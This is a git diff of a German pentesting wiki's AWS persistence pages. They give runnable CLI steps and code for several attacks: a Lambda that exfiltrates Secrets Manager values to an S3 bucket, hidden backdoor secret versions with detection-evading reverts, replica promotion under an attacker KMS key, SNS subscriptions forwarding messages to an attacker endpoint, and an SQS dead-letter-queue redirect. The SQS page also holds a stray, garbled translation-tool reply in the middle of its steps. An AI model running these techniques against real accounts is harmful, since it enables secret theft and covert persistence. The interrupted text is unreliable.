+--query ResourcePolicy --output text
+```
+Hinweise
+- Für eine echte cross-account backdoor beschränke Resource auf die spezifische group ARN und verwende die AWS-Konto-ID des attacker im Principal.
+- Für End-to-End cross-account Deployment oder artifact reads stimme S3/ECR/KMS-Berechtigungen mit dem attacker account ab.
+
+Auswirkungen
+- Persistente cross-account Kontrolle einer Model Registry-Gruppe: attacker kann bösartige model versions veröffentlichen oder model metadata auflisten/lesen, selbst nachdem ihre IAM-Entitäten im victim account entfernt wurden.
+
+## Canvas cross-account model registry backdoor (UpdateUserProfile.ModelRegisterSettings)
+
+Missbrauche SageMaker Canvas Benutzereinstellungen, um Model Registry-Schreibvorgänge stillschweigend auf ein attacker-kontrolliertes Konto umzuleiten, indem du ModelRegisterSettings aktivierst und CrossAccountModelRegisterRoleArn auf eine attacker role in einem anderen Konto setzt.
+
+Erforderliche Berechtigungen
+- sagemaker:UpdateUserProfile auf dem Ziel-UserProfile
+- Optional: sagemaker:CreateUserProfile in einer Domain, die du kontrollierst
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
deleted file mode 100644
index 1b9300431..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md
+++ /dev/null
@@ -1,51 +0,0 @@
-# AWS - Secrets Manager Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Secrets Manager
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-secrets-manager-enum.md
-{{#endref}}
-
-### Über Ressourcenrichtlinien
-
-Es ist möglich, **Zugriff auf Geheimnisse für externe Konten zu gewähren** über Ressourcenrichtlinien. Siehe die [**Secrets Manager Privesc-Seite**](../aws-privilege-escalation/aws-secrets-manager-privesc.md) für weitere Informationen. Beachten Sie, dass das externe Konto auch **Zugriff auf den KMS-Schlüssel, der das Geheimnis verschlüsselt, benötigt**.
-
-### Über Secrets Rotate Lambda
-
-Um **Geheimnisse** automatisch zu **rotieren**, wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** **ändern** könnte, könnte er das neue Geheimnis direkt **an sich selbst exfiltrieren**.
-
-So könnte der Lambda-Code für eine solche Aktion aussehen:
-```python
-import boto3
-
-def rotate_secrets(event, context):
-# Create a Secrets Manager client
-client = boto3.client('secretsmanager')
-
-# Retrieve the current secret value
-secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
-
-# Rotate the secret by updating its value
-new_secret_value = rotate_secret(secret_value)
-client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
-
-def rotate_secret(secret_value):
-# Perform the rotation logic here, e.g., generate a new password
-
-# Example: Generate a new password
-new_secret_value = generate_password()
-
-return new_secret_value
-
-def generate_password():
-# Example: Generate a random password using the secrets module
-import secrets
-import string
-password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
-return password
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
new file mode 100644
index 000000000..5264389b4
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence/README.md
@@ -0,0 +1,234 @@
+# AWS - Secrets Manager Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Secrets Manager
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-secrets-manager-enum.md
+{{#endref}}
+
+### Über Resource Policies
+
+Es ist möglich, externen Accounts über Resource Policies **Zugriff auf secrets zu gewähren**. Siehe die [**Secrets Manager Privesc page**](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md) für mehr Informationen. Beachte, dass ein externes Konto, um **auf ein Secret zuzugreifen**, außerdem **Zugriff auf den KMS key benötigt, der das Secret verschlüsselt**.
+
+### Über Secrets Rotate Lambda
+
+Um **Secrets automatisch zu rotieren** wird eine konfigurierte **Lambda** aufgerufen. Wenn ein Angreifer den **Code** ändern könnte, könnte er das neue **Secret** direkt an sich exfiltrieren.
+
+So könnte der Lambda-Code für eine solche Aktion aussehen:
+```python
+import boto3
+
+def rotate_secrets(event, context):
+# Create a Secrets Manager client
+client = boto3.client('secretsmanager')
+
+# Retrieve the current secret value
+secret_value = client.get_secret_value(SecretId='example_secret_id')['SecretString']
+
+# Rotate the secret by updating its value
+new_secret_value = rotate_secret(secret_value)
+client.update_secret(SecretId='example_secret_id', SecretString=new_secret_value)
+
+def rotate_secret(secret_value):
+# Perform the rotation logic here, e.g., generate a new password
+
+# Example: Generate a new password
+new_secret_value = generate_password()
+
+return new_secret_value
+
+def generate_password():
+# Example: Generate a random password using the secrets module
+import secrets
+import string
+password = ''.join(secrets.choice(string.ascii_letters + string.digits) for i in range(16))
+return password
+```
+{{#include ../../../../banners/hacktricks-training.md}}
+
+
+
+
+
+### Swap the rotation Lambda to an attacker-controlled function via RotateSecret
+
+Missbrauche `secretsmanager:RotateSecret`, um ein Secret an eine vom Angreifer kontrollierte Rotation-Lambda zu binden und eine sofortige Rotation auszulösen. Die bösartige Funktion exfiltriert die Secret-Versionen (AWSCURRENT/AWSPENDING) während der Rotationsschritte (createSecret/setSecret/testSecret/finishSecret) zu einem Exfiltrationsziel (z. B. S3 oder externes HTTP).
+
+- Anforderungen
+- Berechtigungen: `secretsmanager:RotateSecret`, `lambda:InvokeFunction` auf der Angreifer-Lambda, `iam:CreateRole/PassRole/PutRolePolicy` (oder AttachRolePolicy) um die Lambda-Execution-Rolle mit `secretsmanager:GetSecretValue` und vorzugsweise `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage` (damit die Rotation weiter funktioniert) zu provisionieren, KMS `kms:Decrypt` für den Secret-KMS-Key, und `s3:PutObject` (oder ausgehender Datenverkehr) für die Exfiltration.
+- Eine Ziel-Secret-ID (`SecretId`) mit aktivierter Rotation oder die Möglichkeit, Rotation zu aktivieren.
+
+- Auswirkung
+- Der Angreifer erhält die Secret-Werte ohne Änderung des legitimen Rotationscodes. Es wird nur die Rotationskonfiguration geändert, sodass sie auf die Angreifer-Lambda zeigt. Wenn dies nicht bemerkt wird, werden geplante zukünftige Rotationen weiterhin die Funktion des Angreifers aufrufen.
+
+- Angriffsschritte (CLI)
+1) Vorbereiten von Exfiltrationsziel und Lambda-Rolle
+- Erstelle ein S3-Bucket für die Exfiltration und eine von Lambda vertraute Ausführungsrolle mit Berechtigungen, das Secret zu lesen und in S3 zu schreiben (plus Logs/KMS nach Bedarf).
+2) Bereitstellen der Angreifer-Lambda, die bei jedem Rotationsschritt die Secret-Werte abruft und in S3 schreibt. Eine minimale Rotationslogik kann einfach AWSCURRENT nach AWSPENDING kopieren und in finishSecret wieder als aktuelle Version setzen, um den Dienst intakt zu halten.
+3) Rotation neu binden und auslösen
+- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
+4) Überprüfe die Exfiltration, indem du das S3-Präfix für dieses Secret auflistest und die JSON-Artefakte untersuchst.
+5) (Optional) Stelle die ursprüngliche Rotation-Lambda wieder her, um die Entdeckung zu erschweren.
+
+- Example attacker Lambda (Python) exfiltrating to S3
+- Environment: `EXFIL_BUCKET=<bucket>`
+- Handler: `lambda_function.lambda_handler`
+```python
+import boto3, json, os, base64, datetime
+s3 = boto3.client('s3')
+sm = boto3.client('secretsmanager')
+BUCKET = os.environ['EXFIL_BUCKET']
+
+def write_s3(key, data):
+s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
+
+def lambda_handler(event, context):
+sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
+# Exfil both stages best-effort
+def getv(**kw):
+try:
+r = sm.get_secret_value(**kw)
+return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
+except Exception as e:
+return {'error': str(e)}
+current = getv(SecretId=sid, VersionStage='AWSCURRENT')
+pending = getv(SecretId=sid, VersionStage='AWSPENDING')
+key = f"{sid.replace(':','_')}/{step}/{token}.json"
+write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
+# Minimal rotation (optional): copy current->pending and promote in finishSecret
+# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
+```
+### Version Stage Hijacking für verdeckte Persistenz (custom stage + fast AWSCURRENT flip)
+
+Missbrauche Secrets Manager Version-Staging-Labels, um eine vom Angreifer kontrollierte Secret-Version zu platzieren und unter einem benutzerdefinierten Stage (zum Beispiel `ATTACKER`) versteckt zu halten, während die Produktion weiterhin die ursprüngliche `AWSCURRENT` verwendet. Verschiebe zu jedem beliebigen Zeitpunkt `AWSCURRENT` auf die Version des Angreifers, um abhängige Workloads zu vergiften, und stelle sie dann wieder her, um die Entdeckung zu minimieren. Das bietet heimliche Backdoor-Persistenz und schnelle Manipulation zur Zeit der Nutzung, ohne den Secret-Namen oder die Rotationskonfiguration zu ändern.
+
+- Requirements
+- Berechtigungen: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (zur Verifikation)
+- Ziel-Secret-ID in der Region.
+
+- Impact
+- Behalte eine versteckte, vom Angreifer kontrollierte Version eines Secrets und wechsele atomar `AWSCURRENT` bei Bedarf darauf, um jeden Consumer zu beeinflussen, der denselben Secret-Namen auflöst. Der Wechsel und die schnelle Rücksetzung reduzieren die Chance einer Entdeckung und ermöglichen zugleich eine zeitpunktbezogene Kompromittierung.
+
+- Attack steps (CLI)
+- Vorbereitung
+- `export SECRET_ID=<target secret id or arn>`
+
+<details>
+<summary>CLI-Befehle</summary>
+```bash
+# 1) Capture current production version id (the one holding AWSCURRENT)
+CUR=$(aws secretsmanager list-secret-version-ids \
+--secret-id "$SECRET_ID" \
+--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
+--output text)
+
+# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
+BACKTOK=$(uuidgen)
+aws secretsmanager put-secret-value \
+--secret-id "$SECRET_ID" \
+--client-request-token "$BACKTOK" \
+--secret-string {backdoor:hunter2!}
+
+# 3) Restore production and hide attacker version under custom stage
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage ATTACKER \
+--move-to-version-id "$BACKTOK"
+
+# Verify stages
+aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
+
+# 4) On-demand flip to the attacker’s value and revert quickly
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$BACKTOK" \
+--remove-from-version-id "$CUR"
+
+# Validate served plaintext now equals the attacker payload
+aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
+
+# Revert to reduce detection
+aws secretsmanager update-secret-version-stage \
+--secret-id "$SECRET_ID" \
+--version-stage AWSCURRENT \
+--move-to-version-id "$CUR" \
+--remove-from-version-id "$BACKTOK"
+```
+</details>
+
+- Hinweise
+- Wenn Sie `--client-request-token` angeben, verwendet Secrets Manager ihn als `VersionId`. Das Hinzufügen einer neuen Version ohne explizites Setzen von `--version-stages` verschiebt standardmäßig `AWSCURRENT` auf die neue Version und markiert die vorherige als `AWSPREVIOUS`.
+
+
+### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
+
+Missbrauche die multi-Region-Replikation von Secrets Manager, um eine Replik eines Zielsecrets in eine weniger überwachte Region zu erstellen, diese mit einem vom Angreifer kontrollierten KMS-Key in dieser Region zu verschlüsseln, anschließend die Replik zu einem eigenständigen Secret zu promoten und eine permissive resource policy anzuhängen, die dem Angreifer Lesezugriff gewährt. Das ursprüngliche Secret in der primären Region bleibt unverändert, wodurch über die promotete Replik ein dauerhafter, unauffälliger Zugriff auf den Secret-Wert möglich ist, während KMS-/Policy-Beschränkungen der primären Region umgangen werden.
+
+- Anforderungen
+- Berechtigungen: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
+- In der Replica-Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (oder `kms:PutKeyPolicy`) um dem Angreifer-Principal `kms:Decrypt` zu erlauben.
+- Ein Angreifer-Principal (user/role), der Lesezugriff auf das promotete Secret erhält.
+
+- Auswirkungen
+- Persistenter regionsübergreifender Zugriffspfad auf den Secret-Wert über eine eigenständige Replik, die unter einer vom Angreifer kontrollierten KMS CMK steht und eine permissive resource policy verwendet. Das primäre Secret in der ursprünglichen Region bleibt unberührt.
+
+- Angriff (CLI)
+- Variablen
+```bash
+export R1=<primary-region>   # e.g., us-east-1
+export R2=<replica-region>   # e.g., us-west-2
+export SECRET_ID=<secret name or ARN in R1>
+export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
+export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
+```
+1) Erstelle einen vom Angreifer kontrollierten KMS-Schlüssel in der Replikations-Region
+```bash
+cat > /tmp/kms_policy.json <<'JSON'
+{"Version":"2012-10-17","Statement":[
+{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
+]}
+JSON
+KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
+--query KeyMetadata.KeyId --output text)
+aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
+# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
+aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
+```
+2) Repliziere das secret nach R2 mithilfe des attacker KMS key
+```bash
+aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
+--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
+aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
+```
+3) Die Replik in R2 zu einer eigenständigen Instanz machen
+```bash
+# Use the secret name (same across Regions)
+NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
+aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
+aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
+```
+4) Hänge eine permissive resource policy an das standalone secret in R2 an.
+```bash
+cat > /tmp/replica_policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
+JSON
+aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
+aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
+```
+5) Lese das secret vom attacker principal in R2
+```bash
+# Configure attacker credentials and read
+aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
+```
+
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
deleted file mode 100644
index cce6b4d50..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md
+++ /dev/null
@@ -1,77 +0,0 @@
-# AWS - SNS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SNS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sns-enum.md
-{{#endref}}
-
-### Persistenz
-
-Beim Erstellen eines **SNS-Themas** müssen Sie mit einer IAM-Richtlinie angeben, **wer Zugriff auf Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt allen in AWS Zugriff auf Lesen und Schreiben im SNS-Thema mit dem Namen **`MySNS.fifo`**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__default_statement_ID",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"SNS:Publish",
-"SNS:RemovePermission",
-"SNS:SetTopicAttributes",
-"SNS:DeleteTopic",
-"SNS:ListSubscriptionsByTopic",
-"SNS:GetTopicAttributes",
-"SNS:AddPermission",
-"SNS:Subscribe"
-],
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
-"Condition": {
-"StringEquals": {
-"AWS:SourceOwner": "318142138553"
-}
-}
-},
-{
-"Sid": "__console_pub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Publish",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-},
-{
-"Sid": "__console_sub_0",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": "SNS:Subscribe",
-"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
-}
-]
-}
-```
-### Erstellen von Abonnenten
-
-Um alle Nachrichten aus allen Themen weiter zu exfiltrieren, könnte der Angreifer **Abonnenten für alle Themen erstellen**.
-
-Beachten Sie, dass, wenn das **Thema vom Typ FIFO** ist, nur Abonnenten, die das Protokoll **SQS** verwenden, genutzt werden können.
-```bash
-aws sns subscribe --region <region> \
---protocol http \
---notification-endpoint http://<attacker>/ \
---topic-arn <arn>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
new file mode 100644
index 000000000..0f409c9c1
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence/README.md
@@ -0,0 +1,113 @@
+# AWS - SNS Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SNS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sns-enum.md
+{{#endref}}
+
+### Persistenz
+
+Beim Erstellen eines **SNS topic** müssen Sie in einer IAM policy **angeben, wer Lese- und Schreibzugriff hat**. Es ist möglich, externe Accounts, ARN von Rollen oder **sogar "\*"** anzugeben.\
+Die folgende Policy gewährt jedem in AWS Zugriff zum Lesen und Schreiben im SNS topic namens **`MySNS.fifo`**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__default_statement_ID",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"SNS:Publish",
+"SNS:RemovePermission",
+"SNS:SetTopicAttributes",
+"SNS:DeleteTopic",
+"SNS:ListSubscriptionsByTopic",
+"SNS:GetTopicAttributes",
+"SNS:AddPermission",
+"SNS:Subscribe"
+],
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
+"Condition": {
+"StringEquals": {
+"AWS:SourceOwner": "318142138553"
+}
+}
+},
+{
+"Sid": "__console_pub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Publish",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+},
+{
+"Sid": "__console_sub_0",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": "SNS:Subscribe",
+"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
+}
+]
+}
+```
+### Subscriber erstellen
+
+Um weiterhin alle Nachrichten aus allen Topics zu exfiltrating, könnte attacker **Subscriber für alle Topics erstellen**.
+
+Beachte, dass wenn das **topic vom Typ FIFO ist**, nur Subscriber, die das Protokoll **SQS** verwenden, genutzt werden können.
+```bash
+aws sns subscribe --region <region> \
+--protocol http \
+--notification-endpoint http://<attacker>/ \
+--topic-arn <arn>
+```
+### Verdeckte, selektive exfiltration über FilterPolicy auf MessageBody
+
+Ein attacker mit `sns:Subscribe` und `sns:SetSubscriptionAttributes` auf einem Topic kann eine unauffällige SQS-Subscription erstellen, die nur Nachrichten weiterleitet, deren JSON-Body einem sehr engen Filter entspricht (zum Beispiel `{"secret":"true"}`). Das reduziert Volumen und Erkennungswahrscheinlichkeit, während weiterhin exfiltrating sensibler Datensätze möglich ist.
+
+**Mögliche Auswirkungen**: Covert, low-noise exfiltration nur gezielter SNS-Nachrichten von einem victim topic.
+
+Schritte (AWS CLI):
+- Stelle sicher, dass die attacker SQS queue policy `sqs:SendMessage` vom victim `TopicArn` erlaubt (Condition `aws:SourceArn` equals the `TopicArn`).
+- Erstelle eine SQS-Subscription für das Topic:
+
+```bash
+aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
+```
+
+- Setze den Filter so, dass er auf den MessageBody wirkt und nur `secret=true` übereinstimmt:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
+```
+
+- Optional stealth: aktiviere RawMessageDelivery, sodass nur die rohe Nutzlast beim Empfänger landet:
+
+```bash
+aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
+```
+
+- Validierung: Veröffentliche zwei Nachrichten und bestätige, dass nur die erste in der attacker queue ankommt. Beispiel-Payloads:
+
+```json
+{"secret":"true","data":"exfil"}
+{"secret":"false","data":"benign"}
+```
+
+- Cleanup: unsubscribe und delete die attacker SQS queue, falls sie für persistence testing erstellt wurde.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
deleted file mode 100644
index 77816838c..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - SQS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## SQS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-sqs-and-sns-enum.md
-{{#endref}}
-
-### Verwendung von Ressourcenrichtlinien
-
-In SQS müssen Sie mit einer IAM-Richtlinie **angeben, wer Zugriff auf das Lesen und Schreiben hat**. Es ist möglich, externe Konten, ARN von Rollen oder **sogar "\*"** anzugeben.\
-Die folgende Richtlinie gewährt allen in AWS Zugriff auf alles in der Warteschlange mit dem Namen **MyTestQueue**:
-```json
-{
-"Version": "2008-10-17",
-"Id": "__default_policy_ID",
-"Statement": [
-{
-"Sid": "__owner_statement",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": ["SQS:*"],
-"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
-}
-]
-}
-```
-> [!NOTE]
-> Sie könnten sogar **jedes Mal eine Lambda im Konto des Angreifers auslösen, wenn eine neue Nachricht** in die Warteschlange gestellt wird (Sie müssten sie irgendwie erneut einfügen). Folgen Sie dazu diesen Anweisungen: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
new file mode 100644
index 000000000..1f9e8d25e
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md
@@ -0,0 +1,47 @@
+# AWS - SQS Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## SQS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-sqs-and-sns-enum.md
+{{#endref}}
+
+### Verwendung von Resource Policy
+
+In SQS müssen Sie in einer IAM-Policy angeben, **wer Lese- und Schreibzugriff** hat. Es ist möglich, externe Konten, ARNs von Rollen oder **sogar "\*"** anzugeben.\
+Die folgende Policy gibt jedem in AWS Zugriff auf alles in der Queue namens **MyTestQueue**:
+```json
+{
+"Version": "2008-10-17",
+"Id": "__default_policy_ID",
+"Statement": [
+{
+"Sid": "__owner_statement",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": ["SQS:*"],
+"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
+}
+]
+}
+```
+> [!NOTE]
+> Du könntest sogar **bei jeder neuen Nachricht, die in die Warteschlange gestellt wird, eine Lambda im attacker-Konto auslösen** (du müsstest sie erneut einfügen). Befolge dafür diese Anweisungen: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
+
+### Weitere SQS Persistence Techniques
+
+{{#ref}}
+aws-sqs-dlq-backdoor-persistence.md
+{{#endref}}
+
+{{#ref}}
+aws-sqs-orgid-policy-backdoor.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
new file mode 100644
index 000000000..f89f15f9c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md
@@ -0,0 +1,71 @@
+# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Missbrauche SQS Dead-Letter Queues (DLQs), um heimlich Daten aus einer Opfer-Quell-Queue abzuzapfen, indem du ihre RedrivePolicy auf eine vom Angreifer kontrollierte Queue verweist. Mit einem niedrigen maxReceiveCount und durch Auslösen oder Abwarten normaler Verarbeitungsfehler werden Nachrichten automatisch in die Angreifer-DLQ umgeleitet, ohne Producers oder Lambda event source mappings zu ändern.
+
+## Ausgenutzte Berechtigungen
+- sqs:SetQueueAttributes auf der betroffenen Quell-Queue (um RedrivePolicy zu setzen)
+- sqs:SetQueueAttributes auf der Angreifer-DLQ (um RedriveAllowPolicy zu setzen)
+- Optional zur Beschleunigung: sqs:ReceiveMessage auf der Quell-Queue
+- Optional für die Einrichtung: sqs:CreateQueue, sqs:SendMessage
+
+## Ablauf im gleichen Konto (allowAll)
+
+Vorbereitung (Angreiferkonto oder kompromittierte principal):
+```bash
+REGION=us-east-1
+# 1) Create attacker DLQ
+ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
+ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Allow any same-account source queue to use this DLQ
+aws sqs set-queue-attributes \
+--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
+```
+Ausführung (als kompromittierter principal im Opferkonto ausführen):
+```bash
+# 3) Point victim source queue to attacker DLQ with low retries
+VICTIM_SRC_URL=<victim source queue url>
+ATTACKER_DLQ_ARN=<attacker dlq arn>
+aws sqs set-queue-attributes \
+--queue-url "$VICTIM_SRC_URL" --region $REGION \
+--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
+```
+Beschleunigung (optional):
+```bash
+# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
+for i in {1..2}; do \
+aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
+--max-number-of-messages 10 --visibility-timeout 0; \
+done
+```
+Ich habe die Datei nicht erhalten. Bitte füge den Inhalt von src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md hier ein, dann übersetze ich den relevanten englischen Text ins Deutsche und gebe die Ausgabe mit unverändertem Markdown/HTML zurück.
+```bash
+# 5) Confirm messages appear in attacker DLQ
+aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
+--max-number-of-messages 10 --attribute-names All --message-attribute-names All
+```
+Beispielnachweis (Attribute enthalten DeadLetterQueueSourceArn):
+```json
+{
+"MessageId": "...",
+"Body": "...",
+"Attributes": {
+"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
+}
+}
+```
+## Cross-Account-Variante (byQueue)
